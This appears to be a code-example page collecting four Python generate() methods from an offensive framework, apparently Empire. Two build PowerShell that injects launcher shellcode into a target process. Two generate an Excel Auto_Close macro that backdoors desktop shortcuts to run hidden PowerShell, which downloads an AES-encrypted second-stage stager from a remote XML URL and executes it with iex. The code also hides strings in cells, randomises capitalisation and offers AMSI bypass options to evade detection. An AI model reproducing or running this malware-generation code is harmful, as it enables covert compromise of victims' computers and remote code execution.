Пример #1
0
    def generate(self, obfuscate=False, obfuscationCommand=""):

        listenerName = self.options['Listener']['Value']
        procID = self.options['ProcId']['Value'].strip()
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']
        arch = self.options['Arch']['Value']

        moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1"
        if obfuscate:
            helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
            moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
        try:
            f = open(moduleSource, 'r')
        except:
            print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
            return ""

        moduleCode = f.read()
        f.close()
        
        # If you'd just like to import a subset of the functions from the
        #   module source, use the following:
        #   script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"])
        script = moduleCode
        scriptEnd = "; shellcode injected into pid {}".format(str(procID))
        
        if not self.mainMenu.listeners.is_listener_valid(listenerName):
            # not a valid listener, return nothing for the script
            print helpers.color("[!] Invalid listener: {}".format(listenerName))
            return ''
        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
            
            if launcher == '':
                print helpers.color('[!] Error in launcher generation.')
                return ''
            else:
                launcherCode = launcher.split(' ')[-1]

                sc = self.mainMenu.stagers.generate_shellcode(launcherCode, arch)

                encoded_sc = helpers.encode_base64(sc)

        # Add any arguments to the end execution of the script
        
        #t = iter(sc)
        #pow_array = ',0x'.join(a+b for a,b in zip(t, t))
        #pow_array = "@(0x" + pow_array + " )"
        script += "\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(procID, encoded_sc)
        script += scriptEnd
        return script
Пример #2
0
    def generate(self):
	# extract all of our options
	language = self.options['Language']['Value']
	listenerName = self.options['Listener']['Value']
	userAgent = self.options['UserAgent']['Value']
	proxy = self.options['Proxy']['Value']
	proxyCreds = self.options['ProxyCreds']['Value']
	stagerRetries = self.options['StagerRetries']['Value']
	targetEXE = self.options['TargetEXEs']['Value']	
	xlsOut = self.options['XlsOutFile']['Value']
	XmlPath = self.options['XmlUrl']['Value']
	XmlOut = self.options['XmlOutFile']['Value']
	#catching common ways date is incorrectly entered
	killDate = self.options['KillDate']['Value'].replace('\\','/').replace(' ','').split('/')
	if(int(killDate[2]) < 100):
		killDate[2] = int(killDate[2]) + 2000
	targetEXE = targetEXE.split(',')
	targetEXE = filter(None,targetEXE)

	#set vars to random alphabetical / alphanumeric values
	shellVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
	lnkVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
	fsoVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
	folderVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
	fileVar = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, random.randint(6,9)))
	encKey = ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase + string.digits + string.punctuation, random.randint(16,16)))
	#avoiding potential escape characters in our decryption key for the second stage payload
	for ch in ["\"","'","`"]:
		if ch in encKey:
			encKey = encKey.replace(ch,random.choice(string.ascii_lowercase))
	encIV = random.randint(1,240)

        # generate the launcher
        launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
	launcher = launcher.replace("\"","'")
	
        if launcher == "":
            print helpers.color("[!] Error in launcher command generation.")
            return ""
        else:
	    try:
	    	reader = xlrd.open_workbook(xlsOut)
	   	workBook = copy(reader)
	    	activeSheet = workBook.get_sheet(0)
	    except (IOError, OSError):
		workBook = Workbook()
		activeSheet = workBook.add_sheet('Sheet1')

	    #sets initial coords for writing data to
	    inputRow = random.randint(50,70)
	    inputCol = random.randint(40,60)

	    #build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro
            macro = "Sub Auto_Close()\n"
	
	    activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("Wscript.shell"))
	    macro += "Set " + shellVar + " = CreateObject(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)\n"
	    inputCol = inputCol + random.randint(1,4)

	    activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("Scripting.FileSystemObject"))
	    macro += "Set "+ fsoVar + " = CreateObject(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)\n"
	    inputCol = inputCol + random.randint(1,4)

	    activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization("desktop"))
	    macro += "Set " + folderVar + " = " + fsoVar + ".GetFolder(" + shellVar + ".SpecialFolders(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value))\n"	
	    macro += "For Each " + fileVar + " In " + folderVar + ".Files\n"

	    macro += "If(InStr(Lcase(" + fileVar + "), \".lnk\")) Then\n"
	    macro += "Set " + lnkVar + " = " + shellVar + ".CreateShortcut(" + shellVar + ".SPecialFolders(activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value) & \"\\\" & " + fileVar + ".name)\n"
	    inputCol = inputCol + random.randint(1,4)
	
	    macro += "If("
	    for i, item in enumerate(targetEXE):
		if i:
			macro += (' or ')
		activeSheet.write(inputRow,inputCol,targetEXE[i].strip().lower()+".")
		macro += "InStr(Lcase(" + lnkVar + ".targetPath), activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value)"
		inputCol = inputCol + random.randint(1,4)
	    macro += ") Then\n"
	    #launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop.  After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process.  This code is then executed to gain a full agent on the remote system.
	    launchString1 = "hidden -nop -c \"Start(\'"
	    launchString2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U "
	    launchString3 = ") -le " + str(killDate[2]) + str(killDate[0]) + str(killDate[1]) + "){$b.Load(\'" 
	    launchString4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str(encIV) + ".." + str(encIV + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('" 
	    launchString5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\""

	    #part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it
	    macro += lnkVar + ".IconLocation = " + lnkVar + ".targetpath\n"
	    launchString1 = helpers.randomize_capitalization(launchString1)
	    launchString2 = helpers.randomize_capitalization(launchString2)
	    launchString3 = helpers.randomize_capitalization(launchString3)
	    launchString4 = helpers.randomize_capitalization(launchString4)
	    launchString5 = helpers.randomize_capitalization(launchString5)
	    launchStringSum = launchString2 + "'%Y%m%d'" + launchString3 + XmlPath + launchString4 + encKey + launchString5

	    activeSheet.write(inputRow,inputCol,launchString1)
	    launch1Coords = self.coordsToCell(inputRow,inputCol) 
	    inputCol = inputCol + random.randint(1,4)
	    activeSheet.write(inputRow,inputCol,launchStringSum)
	    launchSumCoords = self.coordsToCell(inputRow,inputCol)
	    inputCol = inputCol + random.randint(1,4)

	    macro += lnkVar + ".arguments = \"-w \" & activeSheet.Range(\""+ launch1Coords +"\").Value & " + lnkVar + ".targetPath" + " & \"'\" & activeSheet.Range(\""+ launchSumCoords +"\").Value" + "\n"

	    activeSheet.write(inputRow,inputCol,helpers.randomize_capitalization(":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"))
	    macro += lnkVar + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\""+self.coordsToCell(inputRow,inputCol)+"\").value\n"
	    inputCol = inputCol + random.randint(1,4)
	    #macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors
	    macro += "if(Len(" + lnkVar + ".arguments) < 1023) Then\n"
	    macro += lnkVar + ".save\n"
	    macro += "end if\n"
	    macro += "end if\n"
	    macro += "end if\n"
	    macro += "next " + fileVar + "\n"
	    macro += "End Sub\n"
	    activeSheet.row(inputRow).hidden = True 
	    print helpers.color("\nWriting xls...\n", color="blue")
	    workBook.save(xlsOut)
	    print helpers.color("xls written to " + xlsOut + "  please remember to add macro code to xls prior to use\n\n", color="green")


	    #encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut
	    ivBuf = ""
	    for z in range(0,16):
		ivBuf = ivBuf + chr(encIV + z)
	    encryptor = AES.new(unicode(encKey, "utf-8"), AES.MODE_CBC, ivBuf)
	    launcher = unicode(launcher,"utf-8")
	    #pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space
	    padding = 16-(len(launcher) % 16)
	    if padding == 0:
		launcher = launcher + ('\x00'*16)
	    else:
		launcher = launcher + (chr(padding)*padding)

	    cipher_text = encryptor.encrypt(launcher)
	    cipher_text = helpers.encode_base64(ivBuf+cipher_text)

	    #write XML to disk
	    print helpers.color("Writing xml...\n", color="blue")
	    fileWrite = open(XmlOut,"w")
	    fileWrite.write("<?xml version=\"1.0\"?>\n")
	    fileWrite.write("<main>")
	    fileWrite.write(cipher_text)
	    fileWrite.write("</main>\n")
	    fileWrite.close()
	    print helpers.color("xml written to " + XmlOut + " please remember this file must be accessible by the target at this url: " + XmlPath + "\n", color="green")

            return macro
Пример #3
0
    def generate(self, obfuscate=False, obfuscationCommand=""):

        listenerName = self.options['Listener']['Value']
        procID = self.options['ProcId']['Value'].strip()
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']
        arch = self.options['Arch']['Value']

        moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1"
        if obfuscate:
            helpers.obfuscate_module(moduleSource=moduleSource,
                                     obfuscationCommand=obfuscationCommand)
            moduleSource = moduleSource.replace("module_source",
                                                "obfuscated_module_source")
        try:
            f = open(moduleSource, 'r')
        except:
            print(
                helpers.color("[!] Could not read module source path at: " +
                              str(moduleSource)))
            return ""

        moduleCode = f.read()
        f.close()

        # If you'd just like to import a subset of the functions from the
        #   module source, use the following:
        #   script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"])
        script = moduleCode
        scriptEnd = "; shellcode injected into pid {}".format(str(procID))

        if not self.mainMenu.listeners.is_listener_valid(listenerName):
            # not a valid listener, return nothing for the script
            print(
                helpers.color("[!] Invalid listener: {}".format(listenerName)))
            return ''
        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = self.mainMenu.stagers.generate_launcher(
                listenerName,
                language='powershell',
                encode=True,
                userAgent=userAgent,
                proxy=proxy,
                proxyCreds=proxyCreds)

            if launcher == '':
                print(helpers.color('[!] Error in launcher generation.'))
                return ''
            else:
                launcherCode = launcher.split(' ')[-1]

                sc = self.mainMenu.stagers.generate_shellcode(
                    launcherCode, arch)

                encoded_sc = helpers.encode_base64(sc)

        # Add any arguments to the end execution of the script

        #t = iter(sc)
        #pow_array = ',0x'.join(a+b for a,b in zip(t, t))
        #pow_array = "@(0x" + pow_array + " )"
        script += "\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(
            procID, encoded_sc)
        script += scriptEnd
        script = helpers.keyword_obfuscation(script)

        return script
Пример #4
0
    def generate(self):
        #default booleans to false
        obfuscateScript = False
        AMSIBypassBool = False
        AMSIBypass2Bool = False

        # extract all of our options
        language = self.options['Language']['Value']
        listenerName = self.options['Listener']['Value']
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']
        stagerRetries = self.options['StagerRetries']['Value']
        targetEXE = self.options['TargetEXEs']['Value']
        xlsOut = self.options['XlsOutFile']['Value']
        XmlPath = self.options['XmlUrl']['Value']
        XmlOut = self.options['XmlOutFile']['Value']
        if self.options['AMSIBypass']['Value'].lower() == "true":
            AMSIBypassBool = True
        if self.options['AMSIBypass2']['Value'].lower() == "true":
            AMSIBypass2Bool = True
        if self.options['Obfuscate']['Value'].lower == "true":
            obfuscateScript = True
        obfuscateCommand = self.options['ObfuscateCommand']['Value']

        # catching common ways date is incorrectly entered
        killDate = self.options['KillDate']['Value'].replace(
            '\\', '/').replace(' ', '').split('/')
        if (int(killDate[2]) < 100):
            killDate[2] = int(killDate[2]) + 2000
        targetEXE = targetEXE.split(',')
        targetEXE = [_f for _f in targetEXE if _f]

        # set vars to random alphabetical / alphanumeric values
        shellVar = ''.join(
            random.sample(string.ascii_uppercase + string.ascii_lowercase,
                          random.randint(6, 9)))
        lnkVar = ''.join(
            random.sample(string.ascii_uppercase + string.ascii_lowercase,
                          random.randint(6, 9)))
        fsoVar = ''.join(
            random.sample(string.ascii_uppercase + string.ascii_lowercase,
                          random.randint(6, 9)))
        folderVar = ''.join(
            random.sample(string.ascii_uppercase + string.ascii_lowercase,
                          random.randint(6, 9)))
        fileVar = ''.join(
            random.sample(string.ascii_uppercase + string.ascii_lowercase,
                          random.randint(6, 9)))
        encKey = ''.join(
            random.sample(
                string.ascii_uppercase + string.ascii_lowercase +
                string.digits + string.punctuation, random.randint(16, 16)))
        # avoiding potential escape characters in our decryption key for the second stage payload
        for ch in ["\"", "'", "`"]:
            if ch in encKey:
                encKey = encKey.replace(ch,
                                        random.choice(string.ascii_lowercase))
        encIV = random.randint(1, 240)

        # generate the launcher
        if language.lower() == "python":
            launcher = self.mainMenu.stagers.generate_launcher(
                listenerName,
                language=language,
                encode=False,
                userAgent=userAgent,
                proxy=proxy,
                proxyCreds=proxyCreds,
                stagerRetries=stagerRetries)
        else:
            launcher = self.mainMenu.stagers.generate_launcher(
                listenerName,
                language=language,
                encode=True,
                obfuscate=obfuscateScript,
                obfuscationCommand=obfuscateCommand,
                userAgent=userAgent,
                proxy=proxy,
                proxyCreds=proxyCreds,
                stagerRetries=stagerRetries,
                AMSIBypass=AMSIBypassBool,
                AMSIBypass2=AMSIBypass2Bool)

        launcher = launcher.replace("\"", "'")

        if launcher == "":
            print(helpers.color("[!] Error in launcher command generation."))
            return ""
        else:
            try:
                reader = xlrd.open_workbook(xlsOut)
                workBook = copy(reader)
                activeSheet = workBook.get_sheet(0)
            except (IOError, OSError):
                workBook = Workbook()
                activeSheet = workBook.add_sheet('Sheet1')

            # sets initial coords for writing data to
            inputRow = random.randint(50, 70)
            inputCol = random.randint(40, 60)

            # build out the macro - first take all strings that would normally go into the macro and place them into random cells, which we then reference in our macro
            macro = "Sub Auto_Close()\n"

            activeSheet.write(
                inputRow, inputCol,
                helpers.randomize_capitalization("Wscript.shell"))
            macro += "Set " + shellVar + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(
                inputRow, inputCol) + "\").value)\n"
            inputCol = inputCol + random.randint(1, 4)

            activeSheet.write(
                inputRow, inputCol,
                helpers.randomize_capitalization("Scripting.FileSystemObject"))
            macro += "Set " + fsoVar + " = CreateObject(activeSheet.Range(\"" + self.coordsToCell(
                inputRow, inputCol) + "\").value)\n"
            inputCol = inputCol + random.randint(1, 4)

            activeSheet.write(inputRow, inputCol,
                              helpers.randomize_capitalization("desktop"))
            macro += "Set " + folderVar + " = " + fsoVar + ".GetFolder(" + shellVar + ".SpecialFolders(activeSheet.Range(\"" + self.coordsToCell(
                inputRow, inputCol) + "\").value))\n"
            macro += "For Each " + fileVar + " In " + folderVar + ".Files\n"

            macro += "If(InStr(Lcase(" + fileVar + "), \".lnk\")) Then\n"
            macro += "Set " + lnkVar + " = " + shellVar + ".CreateShortcut(" + shellVar + ".SPecialFolders(activeSheet.Range(\"" + self.coordsToCell(
                inputRow,
                inputCol) + "\").value) & \"\\\" & " + fileVar + ".name)\n"
            inputCol = inputCol + random.randint(1, 4)

            macro += "If("
            for i, item in enumerate(targetEXE):
                if i:
                    macro += (' or ')
                activeSheet.write(inputRow, inputCol,
                                  targetEXE[i].strip().lower() + ".")
                macro += "InStr(Lcase(" + lnkVar + ".targetPath), activeSheet.Range(\"" + self.coordsToCell(
                    inputRow, inputCol) + "\").value)"
                inputCol = inputCol + random.randint(1, 4)
            macro += ") Then\n"
            # launchString contains the code that will get insterted into the backdoored .lnk files, it will first launch the original target exe, then clean up all backdoors on the desktop.  After cleanup is completed it will check the current date, if it is prior to the killdate the second stage will then be downloaded from the webserver selected during macro generation, and then decrypted using the key and iv created during this same process.  This code is then executed to gain a full agent on the remote system.
            launchString1 = "hidden -nop -c \"Start(\'"
            launchString2 = ");$u=New-Object -comObject wscript.shell;gci -Pa $env:USERPROFILE\desktop -Fi *.lnk|%{$l=$u.createShortcut($_.FullName);if($l.arguments-like\'*xml.xmldocument*\'){$s=$l.arguments.IndexOf(\'\'\'\')+1;$r=$l.arguments.Substring($s, $l.arguments.IndexOf(\'\'\'\',$s)-$s);$l.targetPath=$r;$l.Arguments=\'\';$l.Save()}};$b=New-Object System.Xml.XmlDocument;if([int](get-date -U "
            launchString3 = ") -le " + str(killDate[2]) + str(
                killDate[0]) + str(killDate[1]) + "){$b.Load(\'"
            launchString4 = "\');$a=New-Object 'Security.Cryptography.AesManaged';$a.IV=(" + str(
                encIV) + ".." + str(
                    encIV + 15) + ");$a.key=[text.encoding]::UTF8.getBytes('"
            launchString5 = "');$by=[System.Convert]::FromBase64String($b.main);[Text.Encoding]::UTF8.GetString($a.CreateDecryptor().TransformFinalBlock($by,0,$by.Length)).substring(16)|iex}\""

            # part of the macro that actually modifies the LNK files on the desktop, sets icon location for updated lnk to the old targetpath, args to our launch code, and target to powershell so we can do a direct call to it
            macro += lnkVar + ".IconLocation = " + lnkVar + ".targetpath\n"
            launchString1 = helpers.randomize_capitalization(launchString1)
            launchString2 = helpers.randomize_capitalization(launchString2)
            launchString3 = helpers.randomize_capitalization(launchString3)
            launchString4 = helpers.randomize_capitalization(launchString4)
            launchString5 = helpers.randomize_capitalization(launchString5)
            launchStringSum = launchString2 + "'%Y%m%d'" + launchString3 + XmlPath + launchString4 + encKey + launchString5

            activeSheet.write(inputRow, inputCol, launchString1)
            launch1Coords = self.coordsToCell(inputRow, inputCol)
            inputCol = inputCol + random.randint(1, 4)
            activeSheet.write(inputRow, inputCol, launchStringSum)
            launchSumCoords = self.coordsToCell(inputRow, inputCol)
            inputCol = inputCol + random.randint(1, 4)

            macro += lnkVar + ".arguments = \"-w \" & activeSheet.Range(\"" + launch1Coords + "\").Value & " + lnkVar + ".targetPath" + " & \"'\" & activeSheet.Range(\"" + launchSumCoords + "\").Value" + "\n"

            activeSheet.write(
                inputRow, inputCol,
                helpers.randomize_capitalization(
                    ":\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
                ))
            macro += lnkVar + ".targetpath = left(CurDir, InStr(CurDir, \":\")-1) & activeSheet.Range(\"" + self.coordsToCell(
                inputRow, inputCol) + "\").value\n"
            inputCol = inputCol + random.randint(1, 4)
            # macro will not write backdoored lnk file if resulting args will be > 1024 length (max arg length) - this is to avoid an incomplete statement that results in a powershell error on run, which causes no execution of any programs and no cleanup of backdoors
            macro += "if(Len(" + lnkVar + ".arguments) < 1023) Then\n"
            macro += lnkVar + ".save\n"
            macro += "end if\n"
            macro += "end if\n"
            macro += "end if\n"
            macro += "next " + fileVar + "\n"
            macro += "End Sub\n"
            activeSheet.row(inputRow).hidden = True
            print(helpers.color("\nWriting xls...\n", color="blue"))
            workBook.save(xlsOut)
            print(
                helpers.color(
                    "xls written to " + xlsOut +
                    "  please remember to add macro code to xls prior to use\n\n",
                    color="green"))

            # encrypt the second stage code that will be dropped into the XML - this is the full empire stager that gets pulled once the user clicks on the backdoored shortcut
            ivBuf = ("").encode('UTF-8')
            for z in range(0, 16):
                IV = encIV + z
                IV = IV.to_bytes(1, byteorder='big')
                ivBuf = b"".join([ivBuf, IV])

            encryptor = AES.new(encKey, AES.MODE_CBC, ivBuf)

            # pkcs7 padding - aes standard on Windows - if this padding mechanism is used we do not need to define padding in our macro code, saving space
            padding = 16 - (len(launcher) % 16)
            if padding == 0:
                launcher = launcher + ('\x00' * 16)
            else:
                launcher = launcher + (chr(padding) * padding)

            cipher_text = encryptor.encrypt(launcher)
            cipher_text = helpers.encode_base64(b"".join([ivBuf, cipher_text]))

            # write XML to disk
            print(helpers.color("Writing xml...\n", color="blue"))
            fileWrite = open(XmlOut, "wb")
            fileWrite.write(b"<?xml version=\"1.0\"?>\n")
            fileWrite.write(b"<main>")
            fileWrite.write(cipher_text)
            fileWrite.write(b"</main>\n")
            fileWrite.close()
            print(
                helpers.color(
                    "xml written to " + XmlOut +
                    " please remember this file must be accessible by the target at this url: "
                    + XmlPath + "\n",
                    color="green"))

            return macro